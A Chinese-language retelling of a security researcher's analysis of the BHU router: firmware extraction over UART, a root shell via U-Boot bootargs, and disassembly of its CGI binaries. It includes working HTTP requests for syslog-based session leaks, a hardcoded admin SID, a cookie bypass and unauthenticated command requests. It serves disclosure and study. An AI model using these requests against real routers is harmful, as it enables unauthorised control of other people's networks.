前言
这件事情还得从几个月前说起。有一名叫做Tao Sauvage的老外开开心心的来中国旅游。想着得带点中国的土特产回去,选了半天,选中了一款叫做必虎的无线路由器。
看着这个超低的价格和完美的做工,这个老外感觉自己赚大发了,简直是天赐礼物!249!买不了吃亏!249!买不了上当!必虎的英文翻译叫做“Tiger Will Power”,我擦!叼炸天的名字啊!虎之力路由器!感觉身体被掏空!但是因为是国产路由器,谷歌翻译也不准确,他也不懂中文。
怎么办呢?把路由器拆开研究一下看看吧!橙色的地方可以插入一个SD卡,而红色的地方是UART引脚。故事(漏洞),就是从这里开始的,然后以下的“他”将由第一人称来叙述。
提取路由器固件
废话不多说,直接拿BusPirate连接上这些引脚再说!
开启设备后查看自己的终端,返回了以下信息。
它说按下任意键继续。好吧,这个我随便按了键,然后看到了菜单设置。
################################## # BHU Device bootloader menu # ################################## [1(t)] Upgrade firmware with tftp //通过tftp对固件进行升级 [2(h)] Upgrade firmware with httpd //通过httpd对固件进行升级 [3(a)] Config device aerver IP Address //设置设备服务器的IP地址 [4(i)] Print device infomation //打印设备信息 [5(d)] Device test //设备测试 [6(l)] License manager //许可证管理 [0(r)] Redevice //控制器 [ (c)] Enter to commad line (2) //按下c查看其它命令
先按下C发现它用的是U-boot,那么可以对其bootargs参数进行设置,这样就不再局限于init程序内了。
Please input cmd key: CMD> printenv bootargs bootargs=board=Urouter console=ttyS0,115200 root=31:03 rootfstype=squashfs,jffs2 init=/sbin/init(3) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART) CMD> setenv bootargs board=Urouter console=ttyS0,115200 rw rootfstype=squashfs,jffs2 init=/bin/sh(4) mtdparts=ath-nor0:256k(u-boot),64k(u-boot-env),1408k(kernel),8448k(rootfs),1408k(kernel2),1664k(rescure),2944kr),64k(cfg),64k(oem),64k(ART) CMD> boot
然后再使用printenv命令查看了U-boot的基本设置情况,然后发现只要引导顺序完成,就会运行“/sbin/init”,而这个二进制文件主要负责初始化路由器的Linux系统的。我们使用setenv命令把‘/sbin/init’ 和 ‘/bin/sh’替换一下,要不然是没有办法访问系统文件的。然后
BusyBox v1.19.4 (2015-09-05 12:01:45 CST) built-in shell (ash) Enter 'help' for a list of built-in commands. # ls version upgrade sbin proc mnt init dev var tmp root overlay linuxrc home bin usr sys rom opt lib etc
千辛万苦,现在我已经可以通过shell命令访问路由器,并且提取固件。接下来我可以分析必虎路由器的通用网关接口和WEB界面了。当然,有很多种方式可以提取这个路由器的固件,我采用的是修改U-Boot参数开启网络,把全部的文件复制到我的电脑上。感兴趣的朋友可以看看这篇文章:《LinuxBootArgs》
逆向分析
现在我需要对这些文件进行整理。首先,我得知道哪些文件是属于web管理接口的,而下面这个是路由器的初始设置。
# cat /etc/rc.d/rc.local /* [omitted] */ mongoose -listening_ports 80 & /* [omitted] */
这个Mongoose程序开启了80端口,很熟悉的端口啊!估计这个程序就是必虎路由器的WEB服务器程序了。功夫不负有心人,我还是找到了这个WEB程序的相关文档:《mongoose》。根据文档所示,Mongoose会把WEB目录下的所有文件解析为.cgi后缀。如下面所示。
# ls -al /usr/share/www/cgi-bin/ -rwxrwxr-x 1 29792 cgiSrv.cgi -rwxrwxr-x 1 16260 cgiPage.cgi drwxr-xr-x 2 0 .. drwxrwxr-x 2 52 .
这个路由器的WEB界面主要依赖于两个非常重要的文件。
cgiPage.cgi:这个文件主要是负责控制面板内的页面排序功能
cgiSrv.cgi:这个文件主要是负责后台管理的各个组件的功能
cgiSrv.cgi这个文件是最有意思的,它可以对路由器所有的设置进行更新,所以我打算先从它开始下手。
$ file cgiSrv.cgi cgiSrv.cgi: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked (uses shared libs), stripped
我使用IDA对其进行逆向分析。虽然这个文件已经剥离了所有的调试符合,包括函数名之类的,但是从main函数开始,这个文件变的有意思起来。
LOAD:00403C48 # int __cdecl main(int argc, const char **argv, const char **envp) LOAD:00403C48 .globl main LOAD:00403C48 main: # DATA XREF: _ftext+18|o /* [omitted] */ LOAD:00403CE0 la $t9, getenv LOAD:00403CE4 nop (6) # 检索请求方式 LOAD:00403CE8 jalr $t9 ; getenv (7) # arg0 = “REQUEST_METHOD” LOAD:00403CEC addiu $a0, $s0, (aRequest_method - 0x400000) # "REQUEST_METHOD" LOAD:00403CF0 lw $gp, 0x20+var_10($sp) LOAD:00403CF4 lui $a1, 0x40 (8) # arg0 = getenv(“REQUEST_METHOD”) LOAD:00403CF8 move $a0, $v0 LOAD:00403CFC la $t9, strcmp LOAD:00403D00 nop (9) # 检查请求方式是否为POST LOAD:00403D04 jalr $t9 ; strcmp (10) # arg1 = “POST” LOAD:00403D08 la $a1, aPost # "POST" LOAD:00403D0C lw $gp, 0x20+var_10($sp) (11) # 如果请求方式不是POST就进行跳转 LOAD:00403D10 bnez $v0, loc_not_post LOAD:00403D14 nop (12) # 如果请求方式是POST就调用handle_post LOAD:00403D18 jal handle_post LOAD:00403D1C nop /* [omitted] */
同样的逻辑也试用于GET类型的请求。如果收到了GET类型的请求,那么会调用相关的函数,并且重命名为handle_get。让我们一起来看看handle_get函数部分。
上面这个模块流程图主要展示了程序内的“if {} else if {} else {}”判断流程。每个函数部分都会检查数据包是否是GET类型的。我们先来看看A模块吧。
/* [omitted] */ LOAD:00403B3C loc_403B3C: # CODE XREF: handle_get+DC|j LOAD:00403B3C la $t9, find_val (13) # arg1 = “file” LOAD:00403B40 la $a1, aFile # "file" (14) # 在URL内检索“file”参数的value LOAD:00403B48 jalr $t9 ; find_val (15) # arg0 = url LOAD:00403B4C move $a0, $s2 # s2 = URL LOAD:00403B50 lw $gp, 0x130+var_120($sp) (16) # 如果没有“?file=”参数,那么就跳转其他页面 LOAD:00403B54 beqz $v0, loc_not_file_op LOAD:00403B58 move $s0, $v0 (17) # 如果有“file”,那么调用handler LOAD:00403B5C jal get_file_handler LOAD:00403B60 move $a0, $v0
在A模块,handler_get函数会先检查在URL内的file参数,并且调用find_val,如果file参数出现在URL内,那么该函数会调用get_file_handler。
LOAD:00401210 get_file_handler: # CODE XREF: handle_get+140|p /* [omitted] */ LOAD:004012B8 loc_4012B8: # CODE XREF: get_file_handler+98j LOAD:004012B8 lui $s0, 0x41 LOAD:004012BC la $t9, strcmp (18) # arg0 = “file”参数的值 LOAD:004012C0 addiu $a1, $sp, 0x60+var_48 (19) # arg1 = “syslog” LOAD:004012C4 lw $a0, file_syslog # "syslog" LOAD:004012C8 addu $v0, $a1, $v1 (20) # 文件的值是否是 “syslog”? LOAD:004012CC jalr $t9 ; strcmp LOAD:004012D0 sb $zero, 0($v0) LOAD:004012D4 lw $gp, 0x60+var_50($sp) (21) # Jump if value of “file” != “syslog” (如果file参数的值不是syslog,那么就jump) LOAD:004012D8 bnez $v0, loc_not_syslog LOAD:004012DC addiu $v0, $s0, (file_syslog - 0x410000) (22) # Return “/var/syslog” if “syslog” (如果是syslog,那么就读取/var/syslog文件) LOAD:004012E0 lw $v0, (path_syslog - 0x416500)($v0) # "/var/syslog" LOAD:004012E4 b loc_4012F0 LOAD:004012E8 nop LOAD:004012EC # --------------------------------------------------------------------------- LOAD:004012EC LOAD:004012EC loc_4012EC: # CODE XREF: get_file_handler+C8|j (23) # 其它情况返回NULL(空值) LOAD:004012EC move $v0, $zero
上面这个函数主要是说明,如果file参数的值是syslog,那么就会读取var目录下的syslog文件。我花了点时间对于这个页面的参数进行了一些分析得出以下结论:
1. page=[<html页面的名称>]
参数值末端都以.html结尾
打开文件,并且返回值
我尝试过去读取其它文件,但是没用,它只能读取HTML文件
2.xml=[<配置名称>]
访问配置名称
XML类型的值
3.file=[syslog]
访问/var/syslog文件
打开文件并且返回内容
4. cmd=[system_ready]
可以返回管理员密码的第一个和最后一个明文信息,可以提升暴力破解的成功率。
该漏洞还有30秒到达战场
我比较在意的是“file”参数。一般调用系统文件都需要二次验证的,比如cookie,ssid之类的,而且系统日志大部分都有脱敏,不会保留什么敏感信息,但是事实呢?
我于是尝试构造了一个请求。
GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1 Host: 192.168.62.1 X-Requested-With: XMLHttpRequest Connection: close
返回的数据包:
HTTP/1.1 200 OK Content-type: text/plain Jan 1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4 Jan 1 00:00:09 BHU user.notice kernel: klogger started! Jan 1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU (yetao@BHURD-Software) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43 CST 201 /* [omitted] */ Jan 1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login /* [omitted] */ Jan 1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin sid:2jggvfsjkyseala index:3 login
居然包含了管理员的cookie,sid等信息。但是,或许这个cookie是历史cookie,没办法继续使用,你不信?那么我给你演示一下。我用这个cookie带入了一个路由器重启界面,然后,路由器居然重启了??!!
但是这个漏洞利用起来还是有一些缺陷,假设管理员没登陆过系统,或者把登陆记录清楚了,那么怎么办呢?注意看上面的数据包,它还返回了一个sid:700000000000000。我初步看了一下,所有的必虎路由器的管理员SID都是700000000000000,并且管理员都没有办法更改它。那么我们可否把SID当作cookie来用?答案是可以的,如下图所示。
该漏洞已经大杀特杀
虽然我们已经有管理员权限了,但是我们继续看看还有什么可以利用的地方。我继续使用IDA检查了POST的函数处理模块,然而它似乎比GET类型的函数模块更加可怕。
我把这些if模块又分成了A,B,C三个模块,让我们先看看A模块吧。
LOAD:00403424 la $t9, cgi_input_parse LOAD:00403428 nop (24) # 调用 cgi_input_parse() LOAD:0040342C jalr $t9 ; cgi_input_parse LOAD:00403430 nop LOAD:00403434 lw $gp, 0x658+var_640($sp) (25) # arg1 = “op” LOAD:00403438 la $a1, aOp # "op" LOAD:00403440 la $t9, find_val (26) # arg0 = request的Body部分 LOAD:00403444 move $a0, $v0 (27) # 得到“op”参数的值 LOAD:00403448 jalr $t9 ; find_val LOAD:0040344C move $s1, $v0 LOAD:00403450 move $s0, $v0 LOAD:00403454 lw $gp, 0x658+var_640($sp) (28) # 如果没有“op”参数,那么就退出 LOAD:00403458 beqz $s0, b_exit
这个模块会对POST请求进行解析,并且调用cgi_input_parse()。,并且在(25)部分尝试提取参数op的值。而op的值主要是通过find_val函数调用body的部分得到的。如果op有值,就进行到B模块,否则就执行退出。那么我们再来看看B模块的逆向。
LOAD:004036B4 la $t9, strcmp (29) # arg1 = “reboot” LOAD:004036B8 la $a1, aReboot # "reboot" (30) # “op” 的值是否是“reboot”? LOAD:004036C0 jalr $t9 ; strcmp (31) # arg0 = body[“op”] LOAD:004036C4 move $a0, $s0 LOAD:004036C8 lw $gp, 0x658+var_640($sp) LOAD:004036CC bnez $v0, loc_403718 LOAD:004036D0 lui $s2, 0x40
这里主要说明,如果op参数的值是reboot,那么会继续到C模块。
(32) # 检查cookie中的SID值 LOAD:004036D4 jal get_cookie_sid LOAD:004036D8 nop LOAD:004036DC lw $gp, 0x658+var_640($sp) (33) # SID的Cookie将作为dml_dms_ucmd的第一个参数传递 LOAD:004036E0 move $a0, $v0 LOAD:004036E4 li $a1, 1 LOAD:004036E8 la $t9, dml_dms_ucmd LOAD:004036EC li $a2, 3 LOAD:004036F0 move $a3, $zero (34) # 分发任务给dml_dms_ucmd LOAD:004036F4 jalr $t9 ; dml_dms_ucmd LOAD:004036F8 nop
首先,它会先调用一个函数,我把它叫做get_cookie_sid(32部分),然后再把值赋予给dml_dms_ucmd(33部分),然后再调用它(34部分)。随后又会进行到下一步。
(35) # 在v1参数内保存返回的值 LOAD:004036FC move $v1, $v0 LOAD:00403700 li $v0, 0xFFFFFFFE LOAD:00403704 lw $gp, 0x658+var_640($sp) (36) # Is v1 != 0xFFFFFFFE? (v1是否不等于0xFFFFFFFE?) LOAD:00403708 bne $v1, $v0, loc_403774 LOAD:0040370C lui $a0, 0x40 (37) # If v1 == 0xFFFFFFFE jump to error message (如果v1等于0xFFFFFFFE,那么就跳转到错误信息) LOAD:00403710 b loc_need_login LOAD:00403714 nop /* [omitted] */ LOAD:00403888 loc_need_login: # CODE XREF: handle_post+9CC|j LOAD:00403888 la $t9, mime_header LOAD:0040388C nop LOAD:00403890 jalr $t9 ; mime_header LOAD:00403894 addiu $a0, (aTextXml - 0x400000) # "text/xml" LOAD:00403898 lw $gp, 0x658+var_640($sp) LOAD:0040389C lui $a0, 0x40 (38) # 输出错误信息“need_login” LOAD:004038A0 la $t9, printf LOAD:004038A4 b loc_4038D0 LOAD:004038A8 la $a0, aReturnItemResu # "<return>\n\t<ITEM result=\"need_login\""...
但是假设我们不带入然后值到v1参数(即SID为NULL),那么会怎么样呢?我于是尝试了一下。
然后我分析了一下这整个程序的逻辑:
1.收到op参数
2.调用get_cookie_sid
3.调用dms_dms_ucmd
虽然在GET模块,这个指令应该会执行的,但是在POST的过程中始终会验证SID,这个就有点蛋疼了。
怎么绕过去呢?继续分析get_cookie_sid函数模块。
LOAD:004018C4 get_cookie_sid: # CODE XREF: get_xml_handle+20|p /* [omitted] */ LOAD:004018DC la $t9, getenv LOAD:004018E0 lui $a0, 0x40 (39) # 得到HTTP cookies LOAD:004018E4 jalr $t9 ; getenv LOAD:004018E8 la $a0, aHttp_cookie # "HTTP_COOKIE" LOAD:004018EC lw $gp, 0x20+var_10($sp) LOAD:004018F0 beqz $v0, failed LOAD:004018F4 lui $a1, 0x40 LOAD:004018F8 la $t9, strstr LOAD:004018FC move $a0, $v0 (40) # cookie中是否包含“sid=”? LOAD:00401900 jalr $t9 ; strstr LOAD:00401904 la $a1, aSid # "sid=" LOAD:00401908 lw $gp, 0x20+var_10($sp) LOAD:0040190C beqz $v0, failed LOAD:00401910 move $v1, $v0 /* [omitted] */ LOAD:00401954 loc_401954: # CODE XREF: get_cookie_sid+6C|j LOAD:00401954 addiu $s0, (session_buffer - 0x410000) LOAD:00401958 LOAD:00401958 loc_401958: # CODE XREF: get_cookie_sid+74|j LOAD:00401958 la $t9, strncpy LOAD:0040195C addu $v0, $a2, $s0 LOAD:00401960 sb $zero, 0($v0) (41) # 在“session_buffer”中复制cookie的值 LOAD:00401964 jalr $t9 ; strncpy LOAD:00401968 move $a0, $s0 LOAD:0040196C lw $gp, 0x20+var_10($sp) LOAD:00401970 b loc_40197C (42) # 把这个值赋予cookie LOAD:00401974 move $v0, $s0
get_session_cookie在得到一个请求后,会检查cookie中是否有sid=这个字符集。如果有,那么某处全局变量将会赋值一个cookie给该参数。当调用dml_dms_ucmd时,返回的值都会用作于第一个参数,而这一切都是在libdml.so函数库中实现。那么也就是说,对于cookie的效验都是在这个库中进行的,那么让我们来看一下这个库。
.text:0003B368 .text:0003B368 .globl dml_dms_ucmd .text:0003B368 dml_dms_ucmd: .text:0003B368 /* [omitted] */ .text:0003B3A0 move $s3, $a0 .text:0003B3A4 beqz $v0, loc_3B71C .text:0003B3A8 move $s4, $a3 (43) # 记住 a0 = SID cookie的值 # 或者可以说是,如果a0什么都不包含(NULL),那么s1 = 0xFFFFFFFE .text:0003B3AC beqz $a0, loc_exit_function .text:0003B3B0 li $s1, 0xFFFFFFFE /* [omitted] */ .text:0003B720 loc_exit_function: # CODE XREF: dml_dms_ucmd+44|j .text:0003B720 # dml_dms_ucmd+390|j ... .text:0003B720 lw $ra, 0x40+var_4($sp) (44) # 返回 s1 (s1 = 0xFFFFFFFE) .text:0003B724 move $v0, $s1 /* [omitted] */ .text:0003B73C jr $ra .text:0003B740 addiu $sp, 0x40 .text:0003B740 # End of function dml_dms_ucmd
只要我第一个参数不要带入空(NULL),那么就不会返回0xFFFFFFFE(-2)。也就是说我cookie随便填写一个都可以成为管理员?!
好吧,我随便写了个cookie,然后进行重启,依然生效了。。。。。花费那么长时间,居然发现cookie可以随意设定!但是一切都是值得的,我起码知道这个问题出在哪里了。
漏洞已经跑到对方血池大杀特杀了
我简单整理了一下前面的工作,然后总结出以下方法可以得到管理员权限:
1. SID写任意字符,只要不为空就行。
2. 查看系统日志得到管理员的cookie
3. SID的值为700000000000000即可
我们现在已经知道了POST模块的处理过程和op参数的基本逻辑,但是这个模块还可以处理一些XML请求,让我们对它继续分析下去。
/* [omitted] */ LOAD:00402E2C addiu $a0, $s2, (aContent_type - 0x400000) # "CONTENT_TYPE" LOAD:00402E30 la $t9, getenv LOAD:00402E34 nop (45) # 收到“CONTENT_TYPE”的请求 LOAD:00402E38 jalr $t9 ; getenv LOAD:00402E3C lui $s0, 0x40 LOAD:00402E40 lw $gp, 0x658+var_640($sp) LOAD:00402E44 move $a0, $v0 LOAD:00402E48 la $t9, strstr LOAD:00402E4C nop (46) # 是否属于“text/xml” 请求? LOAD:00402E50 jalr $t9 ; strstr LOAD:00402E54 addiu $a1, $s0, (aTextXml - 0x400000) # "text/xml" LOAD:00402E58 lw $gp, 0x658+var_640($sp) LOAD:00402E5C beqz $v0, b_content_type_specified /* [omitted] */ (47) # 得到SID cookie的值 LOAD:00402F88 jal get_cookie_sid LOAD:00402F8C and $s0, $v0 LOAD:00402F90 lw $gp, 0x658+var_640($sp) LOAD:00402F94 move $a1, $s0 LOAD:00402F98 sw $s1, 0x658+var_648($sp) LOAD:00402F9C la $t9, dml_dms_uxml LOAD:00402FA0 move $a0, $v0 LOAD:00402FA4 move $a2, $s3 (48) # 调用‘dml_dms_uxml’函数模块, 并且对body部分和cookie进行效验 LOAD:00402FA8 jalr $t9 ; dml_dms_uxml LOAD:00402FAC move $a3, $s2
继续往下看,貌似dml_dms_uxml比dml_dms_ucmd更加奇葩。
.text:0003AFF8 .globl dml_dms_uget_xml .text:0003AFF8 dml_dms_uget_xml: /* [omitted] */ (49) # 把SID的值复制到s1内 .text:0003B030 move $s1, $a0 .text:0003B034 beqz $a2, loc_3B33C .text:0003B038 move $s5, $a3 (50) # 如果SID的值为空(NULL) .text:0003B03C bnez $a0, loc_3B050 .text:0003B040 nop .text:0003B044 la $v0, unk_170000 .text:0003B048 nop (51) # 那么就把空的SID值替换为一个硬件编码(700000000000000) .text:0003B04C addiu $s1, $v0, (a70000000000000 - 0x170000) # "700000000000000" /* [omitted] */
这个逻辑的感觉就好像是,如果你的没有钱买东西,那么我会给你钱去消费。OMG!真TM人性化的设计!总的来说,如果要使用这个功能,cookie可以直接为空。那么可以构造数据包如下:
POST /cgi-bin/cgiSrv.cgi HTTP/1.1 Host: 192.168.62.1 Content-Type: text/xml X-Requested-With: XMLHttpRequest Content-Length: 59 Connection: close <cmd> <ITEM cmd="traceroute" addr="127.0.0.1" /> </cmd>
继续研究发现还可以命令执行:
这个路由器就像个定时炸弹一样,搞一台在家里面可能莫名其妙的就被人家装上后门监听着了。
* 参考来源:ioactive